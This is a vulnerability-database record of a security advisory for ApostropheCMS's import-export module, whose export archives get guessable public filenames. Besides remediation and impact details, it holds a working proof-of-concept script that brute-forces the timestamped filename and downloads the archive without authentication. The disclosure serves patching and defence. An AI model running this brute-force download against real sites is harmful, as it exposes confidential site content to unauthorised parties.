{"id":"CVE-2026-112953","aliases":["GHSA-5gc8-frw3-3vqm"],"title":"ApostropheCMS: Exposure of Sensitive Information via predictable export filenames","summary":"ApostropheCMS: Exposure of Sensitive Information via predictable export filenames","severity":"medium","cvss":6,"cwe":["CWE-200"],"vendor":"apostrophecms","product":"@apostrophecms/import-export","ecosystem":"npm","affected":["@apostrophecms/import-export < 3.7.1"],"patched":["@apostrophecms/import-export 3.7.1"],"published":"2026-10-21","updated":"2026-10-21","sourceUpdated":"2026-10-21T19:45:04Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-5gc8-frw3-3vqm","references":[{"url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-5gc8-frw3-3vqm"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112953"},{"url":"https://github.com/apostrophecms/apostrophe/commit/06e4b377f3c360f9e89c32dccd7e505ad5ddf498"},{"url":"https://github.com/apostrophecms/apostrophe/commit/40b989b1a9dd23d30029b8ce7668634265cfe5ea"},{"url":"https://github.com/apostrophecms/apostrophe/releases/tag/@apostrophecms/import-export@3.7.1"},{"url":"https://github.com/advisories/GHSA-5gc8-frw3-3vqm"}],"tags":["ghsa","npm","cve.org","exploit-available"],"epss":0.00565,"epssPercentile":0.46106,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","exploitAvailable":true,"ssvc":{"exploitation":"poc","automatable":"no","technicalImpact":"partial","timestamp":"2026-10-20T16:22:02.448070Z"},"cvssSource":"cna","ingestedAt":"2026-10-20T16:10:53.294Z","slug":"CVE-2026-112953","body":"## Overview\n\n## Summary\n\nWhen a user exports content through `@apostrophecms/import-export`, the module copies the generated archive into uploadfs at `/exports/` and returns a public URL under `/uploads/exports/`. The filename is fully deterministic: site `shortName`, document type, a `YYYYMMDDHHmmss` timestamp, and the format extension. There is no secret token.\n\nAnyone who can guess that path can download the archive with a normal unauthenticated HTTP GET while the file is still present (10 minutes by default, longer if the site raises `importExport.export.expiration`). That is a different model from attachment URLs, which rely on hard-to-guess IDs.\n\nSites that disable export, store uploads on a private backend with no anonymous read, or serve `/uploads` only behind authentication are not hit by the network download step—but the predictable naming is still a design flaw for the default local/public uploadfs layout.\n\nImport-only workflows and imports themselves are out of scope; this is specific to the export download URL.\n\n## Affected configurations\n\nAll of the following must apply:\n\n1. The `@apostrophecms/import-export` module is enabled and export is allowed for at least one page or piece type, **and**\n2. Export files are served the usual way: `copyIn` to `/exports/…` and delivery via the public `uploads` URL (default local uploadfs or any deployment that exposes the same path without per-file auth).\n\nIf export is turned off per type or globally, or `/uploads` is not world-readable, an anonymous attacker cannot pull the file over HTTP—but a co-resident attacker with filesystem or bucket listing access would still see guessable names.\n\n## Remediation\n\n- Put a high-entropy component in the export filename (e.g. `apos.util.generateId()`), **or**\n- Stop publishing exports on a world-readable URL—serve downloads through an authenticated route and keep objects in a private prefix until then, **or**\n- Document that `importExport.export.expiration` must stay short and treat `/uploads/exports/` as sensitive (weak on its own).\n\n### Details\n\n## Technical details\n\n`exportFile()` in `packages/import-export/lib/methods/export.js` builds the name and publishes it:\n\n```javascript\nconst date = dayjs().format('YYYYMMDDHHmmss');\nconst filename = `${self.apos.shortName}-${req.body.type.toLowerCase()}-export-${date}${format.extension}`;\nconst downloadPath = path.join('/exports', filename);\nawait copyIn(filepath, downloadPath);\n```\n\nThe admin UI sends `type` as the module name (e.g. `article`), which matches the filename. The download URL is only shown in the exporter’s notification; nothing binds the HTTP request to that user afterward. After `expiration` (default `1000 * 60 * 10` ms) a timer deletes the object from uploadfs, which limits exposure but leaves a brute-forceable window.\n\n\n## Proof of concept\n\nThe script boots a minimal Apostrophe app with import-export, performs an export as the task user, then downloads the same archive without a session—first by path guessing, then with raw `fetch`. It exits non-zero on failure.\n\n**Requirements:** Node 18+, `pnpm install` at the monorepo root (so `apostrophe` and `@apostrophecms/import-export` resolve). Set `APOSTROPHE_ROOT` to the checkout path.\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\n# --- config ---\nAPOSTROPHE_ROOT=\"${APOSTROPHE_ROOT:-}\"\nif [[ -z \"${APOSTROPHE_ROOT}\" || ! -f \"${APOSTROPHE_ROOT}/packages/import-export/package.json\" ]]; then\n  echo \"Set APOSTROPHE_ROOT to your apostrophe monorepo checkout.\" >&2\n  exit 1\nfi\n\nexport APOS_TEST_DB_PROTOCOL=sqlite\ncd \"${APOSTROPHE_ROOT}/packages/import-export\"\n\n# --- run embedded PoC (no extra repo files) ---\nnode <<'NODE'\nconst assert = require('node:assert/strict');\nconst path = require('node:path');\nconst dayjs = require('dayjs');\nconst t = require('apostrophe/test-lib/util.js');\n\n(async () => {\n  let apos;\n  const shortName = 'poc-export-site';\n  const exportsPath = (root) => path.join(root, 'public/uploads/exports');\n\n  try {\n    apos = await t.create({\n      root: module,\n      testModule: true,\n      shortName,\n      modules: {\n        '@apostrophecms/express': {\n          options: { session: { secret: 'poc-export-secret' } }\n        },\n        '@apostrophecms/import-export': {\n          options: {\n            importExport: { export: { expiration: 60 * 1000 } }\n          }\n        },\n        '@apostrophecms/uploadfs': { options: { storage: 'local' } },\n        'home-page': { extend: '@apostrophecms/page-type' },\n        article: {\n          extend: '@apostrophecms/piece-type',\n          options: { alias: 'article', autopublish: true }\n        }\n      }\n    });\n\n    const importExport = apos.modules['@apostrophecms/import-export'];\n    const req = apos.task.getReq();\n    await apos.article.insert(req, {\n      ...apos.article.newInstance(),\n      title: 'GHSA PoC confidential piece'\n    });\n\n    const articles = await apos.article.find(req).toArray();\n    assert.ok(articles.length > 0);\n\n    const exportStartedAt = dayjs();\n    req.body = {\n      _ids: articles.map((d) => d._id),\n      formatName: 'gzip',\n      type: 'article'\n    };\n\n    const { url: downloadUrl } = await importExport.export(req, apos.article);\n    const fileName = path.basename(downloadUrl);\n    const prefix = `${shortName}-article-export-`;\n    assert.ok(fileName.startsWith(prefix) && fileName.endsWith('.tar.gz'));\n\n    const timestamp = fileName.slice(prefix.length, -'.tar.gz'.length);\n    const onDisk = path.join(exportsPath(apos.rootDir), fileName);\n    assert.ok(require('node:fs').existsSync(onDisk));\n\n    const anon = await apos.http.get(downloadUrl, { fullResponse: true });\n    assert.equal(anon.status, 200);\n    assert.ok(Number(anon.headers['content-length'] || 0) > 0 || anon.body?.length > 0);\n\n    let bruteForced = null;\n    const center = exportStartedAt.startOf('second');\n    for (let offset = -3; offset <= 3; offset++) {\n      const ts = center.add(offset, 'second').format('YYYYMMDDHHmmss');\n      const candidate = `/uploads/exports/${shortName}-article-export-${ts}.tar.gz`;\n      try {\n        const probe = await apos.http.get(candidate, { fullResponse: true });\n        if (probe.status === 200) {\n          bruteForced = candidate;\n          break;\n        }\n      } catch (e) {\n        if (e.status !== 404) throw e;\n      }\n    }\n    assert.ok(bruteForced, 'brute force within ±3s failed');\n\n    const express = apos.modules['@apostrophecms/express'];\n    const base = `http://${express.address}:${express.port}`;\n    const ext = await fetch(`${base}${bruteForced}`);\n    assert.equal(ext.status, 200);\n    const bytes = await ext.arrayBuffer();\n    assert.ok(bytes.byteLength > 100);\n\n    console.log('OK: unauthenticated download', {\n      fileName,\n      bruteForced,\n      bytes: bytes.byteLength,\n      listenUrl: base\n    });\n  } finally {\n    if (apos) {\n      await t.destroy(apos);\n    }\n  }\n})().catch((err) => {\n  console.error(err);\n  process.exit(1);\n});\nNODE\n```\n\n**Expected output:** a line similar to  \n`OK: unauthenticated download { fileName: 'poc-export-site-article-export-….tar.gz', …, bytes: <number>, listenUrl: 'http://127.0.0.1:…' }`\n\n\n## Impact\n\n- **Confidentiality:** An unauthenticated remote party can obtain a full export tarball (documents, metadata, attachment references, and bundled files for gzip export) that was meant for the editor who ran export. Content matches what that user was allowed to export, but the downloader does not need their session.\n- **Not in scope:** The attacker cannot trigger export on their own (that still requires a logged-in user with export rights). Integrity and availability of the site are unchanged.\n\n## Affected packages\n\n- `@apostrophecms/import-export < 3.7.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `@apostrophecms/import-export 3.7.1`","depth":"twilight","depthScore":45,"depthScoreParts":{"impact":33,"likelihood":0.1,"exploitation":12,"ransomware":0},"changes":[{"seq":226005,"id":"CVE-2026-112953","ts":1792516425198,"field":"exploit_available","old":"false","new":"true"}]}